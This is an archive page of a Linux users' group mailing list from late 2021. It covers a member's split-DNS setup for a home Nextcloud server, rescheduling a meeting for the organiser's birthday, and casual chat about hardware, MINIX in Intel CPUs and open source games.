> On Nov 12, 2021, at 19:34, John Stoffel <john(a)stoffel.org> wrote: > >>>>>> "brad" == brad via WLUG <wlug(a)lists.wlug.org> writes: > > brad> To quickly summarize my problem/question, I’d like to host a > brad> nextcloud server at my house and be able to access it with the > brad> same hostname whether I’m home or away. > > brad> I own a domain, let’s call it example.com. Its main DNS record > brad> points to a node at digital oceans. However I’d like to host a > brad> sub-domain at my house, let’s call it > brad> home.example.com. Currently home.example.com resolves to a > brad> routable IP address at my house. > > brad> - When I’m on the road, I’d like to be able to connect to https://home.example.come > brad> - When I’m home, I’d like to be able to connect to https://home.example.com. > > brad> The above works on a well-behaved desktop receiving dns servers > brad> via dhcp. Specifically, I have setup local dns to resolve > brad> home.example.com to 192.168.1.1. Searching this topic has taught > brad> me that this method is called Split-DNS. > > brad> However android and iOS do not appear to honer my local dns > brad> server — I’m not sure why — so they resolve the address to a > brad> routable IP and connect from within the private 192.168.1.0 > brad> subnet. My firewall sees this and drops it b/c it is a > brad> non-routable IP address connecting to the external interface. (I > brad> got this info by running tcpdump and watching traffic). > > Are your iphone and android getting their data from the Wifi network > or their phone network? This is a great question and led to what I believe is the solution. > You might need to sniff port 53 traffic on > your firewall and see where they're sending queries to. Then you > might need to block or redirect those queries to your own internal DNS > server. > I did sniff port 53 (and 853) to observe dns traffic. I also sniffed port 67 and 68 to make sure that the DNS server was getting sent w/ the dhcp request. All was good on the dhcp front, and port 53 sniffing did display the fact that my internal domain names were getting resolved to CNAMEs, but on Andoird, it stopped at that step. I.e. android got a CNAME for up.internal.example.com, but did not resolve the CNAME any further. > brad> Has anyone attempted something similar? Is there something I’m > brad> overlooking? (Probably) > > I've been meaning to do it myself, putting in a local internal > override for my dynamic DNS external name, so I can conncent from both > inside and outside (when I'm on the $WORK VPN mostly) without having > to remember things. Silly to bounce SSH across the country to get > downstairs... but when you sit at a $WORK laptop most days... it's > nice to be able to hit home stuff via SSH and screen. > Agreed, I recently setup wireguard to use as VPN for this purpose. > brad> My goal is to not do special configurations on enduser devices. > > What is your firewall or router at home? Depending on what you have, > you might be able to block outgoing port 53 traffic, or redirect it to > your internal DNS server so those devices get the results you want. > > I use OpnSense at home, so if that's what you're using, we can work > together on this. > My firewall is openbsd — my preferred firewall OS as I love pf — and my name server is unbound. I believe OpnSense is built on a BSD, so unbound maybe an option for you. On to the solution, or at least ‘what works for me’. As far as I can tell unbound is not an authoritative name server, so I had to change all the CNAMEs to A records. That is a little annoying when I comes to my config file, but it does work. For your reference, a related bug report for opnsense is linked below with subsequent links about why unbound and CNAMEs do not go together. https://github.com/opnsense/core/issues/1041 Thanks for provoking my curiosity into the eventual solution! — brad

Nov. 13, 2021

Re: Use same hostname internally and externally

by John Stoffel

>>>>> "brad" == brad via WLUG <wlug(a)lists.wlug.org> writes: brad> To quickly summarize my problem/question, I’d like to host a brad> nextcloud server at my house and be able to access it with the brad> same hostname whether I’m home or away. brad> I own a domain, let’s call it example.com. Its main DNS record brad> points to a node at digital oceans. However I’d like to host a brad> sub-domain at my house, let’s call it brad> home.example.com. Currently home.example.com resolves to a brad> routable IP address at my house. brad> - When I’m on the road, I’d like to be able to connect to https://home.example.come brad> - When I’m home, I’d like to be able to connect to https://home.example.com. brad> The above works on a well-behaved desktop receiving dns servers brad> via dhcp. Specifically, I have setup local dns to resolve brad> home.example.com to 192.168.1.1. Searching this topic has taught brad> me that this method is called Split-DNS. brad> However android and iOS do not appear to honer my local dns brad> server — I’m not sure why — so they resolve the address to a brad> routable IP and connect from within the private 192.168.1.0 brad> subnet. My firewall sees this and drops it b/c it is a brad> non-routable IP address connecting to the external interface. (I brad> got this info by running tcpdump and watching traffic). Are your iphone and android getting their data from the Wifi network or their phone network? You might need to sniff port 53 traffic on your firewall and see where they're sending queries to. Then you might need to block or redirect those queries to your own internal DNS server. brad> Has anyone attempted something similar? Is there something I’m brad> overlooking? (Probably) I've been meaning to do it myself, putting in a local internal override for my dynamic DNS external name, so I can conncent from both inside and outside (when I'm on the $WORK VPN mostly) without having to remember things. Silly to bounce SSH across the country to get downstairs... but when you sit at a $WORK laptop most days... it's nice to be able to hit home stuff via SSH and screen. brad> My goal is to not do special configurations on enduser devices. What is your firewall or router at home? Depending on what you have, you might be able to block outgoing port 53 traffic, or redirect it to your internal DNS server so those devices get the results you want. I use OpnSense at home, so if that's what you're using, we can work together on this. John

Nov. 13, 2021

Use same hostname internally and externally

by brad

All, To quickly summarize my problem/question, I’d like to host a nextcloud server at my house and be able to access it with the same hostname whether I’m home or away. I own a domain, let’s call it example.com. Its main DNS record points to a node at digital oceans. However I’d like to host a sub-domain at my house, let’s call it home.example.com. Currently home.example.com resolves to a routable IP address at my house. - When I’m on the road, I’d like to be able to connect to https://home.example.come - When I’m home, I’d like to be able to connect to https://home.example.com. The above works on a well-behaved desktop receiving dns servers via dhcp. Specifically, I have setup local dns to resolve home.example.com to 192.168.1.1. Searching this topic has taught me that this method is called Split-DNS. However android and iOS do not appear to honer my local dns server — I’m not sure why — so they resolve the address to a routable IP and connect from within the private 192.168.1.0 subnet. My firewall sees this and drops it b/c it is a non-routable IP address connecting to the external interface. (I got this info by running tcpdump and watching traffic). Has anyone attempted something similar? Is there something I’m overlooking? (Probably) My goal is to not do special configurations on enduser devices. Thanks, — brad

Nov. 12, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Joshua Stone

Hey Tim, We're good to go! I've reserved the conference room at the Hudon public library for the following times: Nov 18 @ 7:00PM - 8:30PM Dec 9 @ 7:00PM - 8:30PM I figured it'd be best to reserve the room for the December meeting just in case we decide to meet in-person again for the holidays. If we decide on a different venue, then I can free up that time slot. If anyone still needs to figure out parking, there are multiple options available with the library parking lot being the most convenient: https://www.discoverhudson.org/plan-your-visit/ - Josh On Thu, Nov 11, 2021 at 12:01 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Joshua, > > Please reserve a conference room for us at the Hudson Public Library. > > Chuck, an exploration of how Intel secreted minix into everybody's cpu's > would be a great talk! > > Tim. > > On Thu, Nov 11, 2021 at 11:16 AM Chuck Anderson via WLUG < > wlug(a)lists.wlug.org> wrote: > >> Happy Birthday Tim! >> >> I think we should do a talk on MINIX. Seriously! It is currently >> running on every Intel system out there these days, unbeknownst to >> most people, hidden away below your regular operating system: >> >> https://itsfoss.com/fact-intel-minix-case/ >> >> >> On Wed, Nov 10, 2021 at 08:59:46PM -0500, Tim Keller via WLUG wrote: >> > 0. Thanks for the birthday wishes! My wife has pointed out that I've >> been >> > involved in WLUG for more than half my adult life at this point! >> > >> > 1. As for the dinner location, I have no idea, it's a surprise! >> > >> > 2. I'm totally down for having an in person meeting, we'd just have to >> find >> > a venue. The Hudson library worked really well, I'd be cool for that, of >> > other places are more central to others, we can figure something out. >> > Please propose locations and we'll figure out what works. I'm also not >> > opposed to having a rotating set of locations as long as it doesn't >> become >> > too confusing. >> > >> > 3. TrueNas Scale does look cool. There's talk of putting gluster on to >> of >> > ZFS for scale out storage, which slightly distresses me. I played with >> > gluster back in the day and was rather unimpressed with it, maybe it's >> > matured a bit) but last week poking at FreeBSD on a VM got me thinking >> > about TrueNAS and it's partner project TrueNAS Scale (which is a debian >> > based version of TrueNAS that supports containers, KVM, etc. >> > >> > 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny >> > unix you can run on it! >> > >> > Later, >> > Tim. >> > >> > On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: >> > >> > > >> > > Tim> My birthday is on the 11th and the family is taking me out for >> dinner. >> > > >> > > Where to? We can all meet up with you and sing. LOL! >> > > >> > > Tim> We'll have the meeting on the 18th instead! I've got some ideas >> > > Tim> for topics, but if someone has a burning desire to talk about >> > > Tim> something, let me know! >> > > >> > > Is this in person? >> > > >> > > Tim> Otherwise I think I'll show off my experiments with TrueNAS >> scale. >> > > >> > > That will be interesting to look at. >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SOJ6F… >> > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/BOZIG… >

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Tim Keller

Joshua, Please reserve a conference room for us at the Hudson Public Library. Chuck, an exploration of how Intel secreted minix into everybody's cpu's would be a great talk! Tim. On Thu, Nov 11, 2021 at 11:16 AM Chuck Anderson via WLUG < wlug(a)lists.wlug.org> wrote: > Happy Birthday Tim! > > I think we should do a talk on MINIX. Seriously! It is currently > running on every Intel system out there these days, unbeknownst to > most people, hidden away below your regular operating system: > > https://itsfoss.com/fact-intel-minix-case/ > > > On Wed, Nov 10, 2021 at 08:59:46PM -0500, Tim Keller via WLUG wrote: > > 0. Thanks for the birthday wishes! My wife has pointed out that I've been > > involved in WLUG for more than half my adult life at this point! > > > > 1. As for the dinner location, I have no idea, it's a surprise! > > > > 2. I'm totally down for having an in person meeting, we'd just have to > find > > a venue. The Hudson library worked really well, I'd be cool for that, of > > other places are more central to others, we can figure something out. > > Please propose locations and we'll figure out what works. I'm also not > > opposed to having a rotating set of locations as long as it doesn't > become > > too confusing. > > > > 3. TrueNas Scale does look cool. There's talk of putting gluster on to of > > ZFS for scale out storage, which slightly distresses me. I played with > > gluster back in the day and was rather unimpressed with it, maybe it's > > matured a bit) but last week poking at FreeBSD on a VM got me thinking > > about TrueNAS and it's partner project TrueNAS Scale (which is a debian > > based version of TrueNAS that supports containers, KVM, etc. > > > > 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny > > unix you can run on it! > > > > Later, > > Tim. > > > > On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: > > > > > > > > Tim> My birthday is on the 11th and the family is taking me out for > dinner. > > > > > > Where to? We can all meet up with you and sing. LOL! > > > > > > Tim> We'll have the meeting on the 18th instead! I've got some ideas > > > Tim> for topics, but if someone has a burning desire to talk about > > > Tim> something, let me know! > > > > > > Is this in person? > > > > > > Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. > > > > > > That will be interesting to look at. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SOJ6F… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Richard Klein

Happy birthday, Tim! On Tue, Nov 9, 2021 at 6:01 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Gang, > > My birthday is on the 11th and the family is taking me out for dinner. > > We'll have the meeting on the 18th instead! I've got some ideas for > topics, but if someone has a burning desire to talk about something, let me > know! > > Otherwise I think I'll show off my experiments with TrueNAS scale. > > Thanks, > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOSIQ… >

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Chuck Anderson

Happy Birthday Tim! I think we should do a talk on MINIX. Seriously! It is currently running on every Intel system out there these days, unbeknownst to most people, hidden away below your regular operating system: https://itsfoss.com/fact-intel-minix-case/ On Wed, Nov 10, 2021 at 08:59:46PM -0500, Tim Keller via WLUG wrote: > 0. Thanks for the birthday wishes! My wife has pointed out that I've been > involved in WLUG for more than half my adult life at this point! > > 1. As for the dinner location, I have no idea, it's a surprise! > > 2. I'm totally down for having an in person meeting, we'd just have to find > a venue. The Hudson library worked really well, I'd be cool for that, of > other places are more central to others, we can figure something out. > Please propose locations and we'll figure out what works. I'm also not > opposed to having a rotating set of locations as long as it doesn't become > too confusing. > > 3. TrueNas Scale does look cool. There's talk of putting gluster on to of > ZFS for scale out storage, which slightly distresses me. I played with > gluster back in the day and was rather unimpressed with it, maybe it's > matured a bit) but last week poking at FreeBSD on a VM got me thinking > about TrueNAS and it's partner project TrueNAS Scale (which is a debian > based version of TrueNAS that supports containers, KVM, etc. > > 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny > unix you can run on it! > > Later, > Tim. > > On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: > > > > > Tim> My birthday is on the 11th and the family is taking me out for dinner. > > > > Where to? We can all meet up with you and sing. LOL! > > > > Tim> We'll have the meeting on the 18th instead! I've got some ideas > > Tim> for topics, but if someone has a burning desire to talk about > > Tim> something, let me know! > > > > Is this in person? > > > > Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. > > > > That will be interesting to look at.

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Mher Mnatsakanyan

Happiest Birthday Tim. Enjoy the day. Cheers, Mher On Wednesday, 10 November 2021, Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > 0. Thanks for the birthday wishes! My wife has pointed out that I've been > involved in WLUG for more than half my adult life at this point! > > 1. As for the dinner location, I have no idea, it's a surprise! > > 2. I'm totally down for having an in person meeting, we'd just have to > find a venue. The Hudson library worked really well, I'd be cool for that, > of other places are more central to others, we can figure something out. > Please propose locations and we'll figure out what works. I'm also not > opposed to having a rotating set of locations as long as it doesn't become > too confusing. > > 3. TrueNas Scale does look cool. There's talk of putting gluster on to of > ZFS for scale out storage, which slightly distresses me. I played with > gluster back in the day and was rather unimpressed with it, maybe it's > matured a bit) but last week poking at FreeBSD on a VM got me thinking > about TrueNAS and it's partner project TrueNAS Scale (which is a debian > based version of TrueNAS that supports containers, KVM, etc. > > 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny > unix you can run on it! > > Later, > Tim. > > On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: > >> >> Tim> My birthday is on the 11th and the family is taking me out for >> dinner. >> >> Where to? We can all meet up with you and sing. LOL! >> >> Tim> We'll have the meeting on the 18th instead! I've got some ideas >> Tim> for topics, but if someone has a burning desire to talk about >> Tim> something, let me know! >> >> Is this in person? >> >> Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. >> >> That will be interesting to look at. >> > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". >

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Joshua Stone

Happy Birthday Tim! I hope you have an awesome time celebrating with your family! I agree, the Hudson Public Library worked well last time, and I'd be happy to reserve the conference room again if that's cool with folks. We should also have more options for eating afterwards as well now that restaurants have expanded their business hours: https://www.discoverhudson.org/taste/ - Josh On Wed, Nov 10, 2021 at 9:00 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > 0. Thanks for the birthday wishes! My wife has pointed out that I've been > involved in WLUG for more than half my adult life at this point! > > 1. As for the dinner location, I have no idea, it's a surprise! > > 2. I'm totally down for having an in person meeting, we'd just have to > find a venue. The Hudson library worked really well, I'd be cool for that, > of other places are more central to others, we can figure something out. > Please propose locations and we'll figure out what works. I'm also not > opposed to having a rotating set of locations as long as it doesn't become > too confusing. > > 3. TrueNas Scale does look cool. There's talk of putting gluster on to of > ZFS for scale out storage, which slightly distresses me. I played with > gluster back in the day and was rather unimpressed with it, maybe it's > matured a bit) but last week poking at FreeBSD on a VM got me thinking > about TrueNAS and it's partner project TrueNAS Scale (which is a debian > based version of TrueNAS that supports containers, KVM, etc. > > 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny > unix you can run on it! > > Later, > Tim. > > On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: > >> >> Tim> My birthday is on the 11th and the family is taking me out for >> dinner. >> >> Where to? We can all meet up with you and sing. LOL! >> >> Tim> We'll have the meeting on the 18th instead! I've got some ideas >> Tim> for topics, but if someone has a burning desire to talk about >> Tim> something, let me know! >> >> Is this in person? >> >> Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. >> >> That will be interesting to look at. >> > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/ECHBW… >

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Tim Keller

0. Thanks for the birthday wishes! My wife has pointed out that I've been involved in WLUG for more than half my adult life at this point! 1. As for the dinner location, I have no idea, it's a surprise! 2. I'm totally down for having an in person meeting, we'd just have to find a venue. The Hudson library worked really well, I'd be cool for that, of other places are more central to others, we can figure something out. Please propose locations and we'll figure out what works. I'm also not opposed to having a rotating set of locations as long as it doesn't become too confusing. 3. TrueNas Scale does look cool. There's talk of putting gluster on to of ZFS for scale out storage, which slightly distresses me. I played with gluster back in the day and was rather unimpressed with it, maybe it's matured a bit) but last week poking at FreeBSD on a VM got me thinking about TrueNAS and it's partner project TrueNAS Scale (which is a debian based version of TrueNAS that supports containers, KVM, etc. 4. I was given a Raspberry Pi Zero as a gift. Apparently there's a tiny unix you can run on it! Later, Tim. On Wed, Nov 10, 2021 at 2:47 PM John Stoffel <john(a)stoffel.org> wrote: > > Tim> My birthday is on the 11th and the family is taking me out for dinner. > > Where to? We can all meet up with you and sing. LOL! > > Tim> We'll have the meeting on the 18th instead! I've got some ideas > Tim> for topics, but if someone has a burning desire to talk about > Tim> something, let me know! > > Is this in person? > > Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. > > That will be interesting to look at. > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 11, 2021

Re: Next Meeting November 18th, NOT the 11th.

by John Stoffel

Tim> My birthday is on the 11th and the family is taking me out for dinner. Where to? We can all meet up with you and sing. LOL! Tim> We'll have the meeting on the 18th instead! I've got some ideas Tim> for topics, but if someone has a burning desire to talk about Tim> something, let me know! Is this in person? Tim> Otherwise I think I'll show off my experiments with TrueNAS scale. That will be interesting to look at.

Nov. 10, 2021

Re: Next Meeting November 18th, NOT the 11th.

by Joel

Happy Birthday Tim! You share a Veterans Day Birthday with my wife and many millions of others... On November 10, 2021 10:21:56 AM THE HAMMER via WLUG <wlug(a)lists.wlug.org> wrote: > Happy Birthday, Tim ! > > > From: Tim Keller via WLUG <wlug(a)lists.wlug.org> > Sent: Tuesday, November 9, 2021 6:01 PM > To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> > Cc: Tim Keller <turbofx(a)gmail.com> > Subject: [WLUG] Next Meeting November 18th, NOT the 11th. > Hey Gang, > > My birthday is on the 11th and the family is taking me out for dinner. > > We'll have the meeting on the 18th instead! I've got some ideas for topics, but if someone has a burning desire to talk about something, let me know! > > Otherwise I think I'll show off my experiments with TrueNAS scale. > > Thanks, > Tim. > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/CBZCR…

Nov. 10, 2021

Re: Next Meeting November 18th, NOT the 11th.

by THE HAMMER

Happy Birthday, Tim ! ________________________________ From: Tim Keller via WLUG <wlug(a)lists.wlug.org> Sent: Tuesday, November 9, 2021 6:01 PM To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> Cc: Tim Keller <turbofx(a)gmail.com> Subject: [WLUG] Next Meeting November 18th, NOT the 11th. Hey Gang, My birthday is on the 11th and the family is taking me out for dinner. We'll have the meeting on the 18th instead! I've got some ideas for topics, but if someone has a burning desire to talk about something, let me know! Otherwise I think I'll show off my experiments with TrueNAS scale. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 10, 2021

Next Meeting November 18th, NOT the 11th.

by Tim Keller

Hey Gang, My birthday is on the 11th and the family is taking me out for dinner. We'll have the meeting on the 18th instead! I've got some ideas for topics, but if someone has a burning desire to talk about something, let me know! Otherwise I think I'll show off my experiments with TrueNAS scale. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Nov. 9, 2021

Re: Looking to contact Andy Stewart

by Joel

I as a fellow WLUG and ham radio friend, I have Andy at... kb1oiq at arrl dot net Joel On October 18, 2021 12:15:55 AM "Jon \"maddog\" Hall via WLUG" <wlug(a)lists.wlug.org> wrote: > Sorry for this intrusive method of finding someone, but I saw Andy Stewart at the NearFest this past Friday, and thinking that I had his email address (and I did), I am having trouble with contacting mval.net, his mail domain. > > Does anyone have an alternative address for him, of if Andy reads this can you either fix your server or give me a working email? > > Thanks, > > md > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/NNZWK…

Oct. 18, 2021

Looking to contact Andy Stewart

by Jon "maddog" Hall

Sorry for this intrusive method of finding someone, but I saw Andy Stewart at the NearFest this past Friday, and thinking that I had his email address (and I did), I am having trouble with contacting mval.net, his mail domain. Does anyone have an alternative address for him, of if Andy reads this can you either fix your server or give me a working email? Thanks, md

Oct. 18, 2021

Re: Someone at cvs is having a bad day

by Logically Rogue

Ah... had I known SQL before I had kids... one of them would have been "Bobby" https://xkcd.com/327/ Benjamin J. Higgins 504 Carpenter Road Whitinsville, MA 01588 t: 508.266.0155 c: 617.615.6442 e: logicallyrogue(a)gmail.com ________________________________ This e-mail may contain confidential information, may be protected by applicable privileges, and may constitute non-public information. It is intended to be conveyed only to the designated recipient(s) of the message. If you are not an intended recipient of this message, please notify the sender. Unauthorized use, dissemination, distribution or reproduction of this message is strictly prohibited and may be unlawful. On Wed, Oct 13, 2021 at 9:54 AM Joel via WLUG <wlug(a)lists.wlug.org> wrote: > A friend of mine did a lot of work for junk mail folks many years ago. To > keep in touch with them he has a separate account roughly "fname > Lname(a)gmail.com". First time it almost made me spit coffee out my nose. > > Would be almost as good as naming a young child foo. > > Joel > > On October 13, 2021 7:37:49 AM "Jon \"maddog\" Hall via WLUG" < > wlug(a)lists.wlug.org> wrote: > >> Tim, >> >> You seem to have received an email meant for me by mistake! >> >> Warmest regards, >> >> fname >> >> On Wed, Oct 13, 2021 at 7:03 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> >> wrote: >> >>> I just got a "Hello _fname" email.. doh. >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/HG54K… >>> >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OPEJP… >> >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KQQFI… >

Oct. 13, 2021

Re: Someone at cvs is having a bad day

by Joel

A friend of mine did a lot of work for junk mail folks many years ago. To keep in touch with them he has a separate account roughly "fname Lname(a)gmail.com". First time it almost made me spit coffee out my nose. Would be almost as good as naming a young child foo. Joel On October 13, 2021 7:37:49 AM "Jon \"maddog\" Hall via WLUG" <wlug(a)lists.wlug.org> wrote: > Tim, > > You seem to have received an email meant for me by mistake! > > Warmest regards, > fname > > On Wed, Oct 13, 2021 at 7:03 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > I just got a "Hello _fname" email.. doh. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/HG54K… > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OPEJP…

Oct. 13, 2021

Re: Someone at cvs is having a bad day

by Jon "maddog" Hall

Tim, You seem to have received an email meant for me by mistake! Warmest regards, fname On Wed, Oct 13, 2021 at 7:03 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > I just got a "Hello _fname" email.. doh. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/HG54K… >

Oct. 13, 2021

Someone at cvs is having a bad day

by Tim Keller

I just got a "Hello _fname" email.. doh.

Oct. 13, 2021

We've got a meeting oct 14th!!

by Tim Keller

This is a reminder that we've got a virtual meeting this Thursday October 14th. Topic: tbd, dojo, Linux in space, Linux is now running native on the m1, plus the usual banter, etc. Should the next meeting be physical? Date: 10 / 14 / 2021 Time: 7pm Location: Jitsi @ https://meet.jit.si/WlugMA I hope to see you there! Later, Tim.

Oct. 13, 2021

Re: Dojo D1

by Bob

I want two. On 9/29/2021 4:37 PM, Tim Keller via WLUG wrote: > I just finally got to see the stuff about Tesla's Dojo Processor stuff. > > 9 PFLOPS per "tile" and 36 TB/s of bandwidth. > https://www.youtube.com/watch?v=pPHX7e1BxSM > <https://www.youtube.com/watch?v=pPHX7e1BxSM> > Um..wow. > > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/OOBBL…

Oct. 1, 2021

Re: Open Source Game Achievements Article

by John Stoffel

>>>>> "Dennis" == Dennis Payne via WLUG <wlug(a)lists.wlug.org> writes: Dennis> Fedora Magazine has published my article on open source game Dennis> achievements. Dennis> https://fedoramagazine.org/open-source-game-achievements/ Dennis> I just got Alchemy Quest, Anagramarama, and Inertia Blast add to Dennis> Fedora. So it will be easier to test Gamerzilla on Fedora 35. Congrats on the article!

Sept. 30, 2021

Dojo D1

by Tim Keller

I just finally got to see the stuff about Tesla's Dojo Processor stuff. 9 PFLOPS per "tile" and 36 TB/s of bandwidth. https://www.youtube.com/watch?v=pPHX7e1BxSM Um..wow. Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Sept. 29, 2021

Open Source Game Achievements Article

by Dennis Payne

Fedora Magazine has published my article on open source game achievements. https://fedoramagazine.org/open-source-game-achievements/ I just got Alchemy Quest, Anagramarama, and Inertia Blast add to Fedora. So it will be easier to test Gamerzilla on Fedora 35. -- Dennis Payne dulsi(a)identicalsoftware.com https://mastodon.gamedev.place/@dulsi

Sept. 17, 2021

Re: Inertia Blast

by John Stoffel

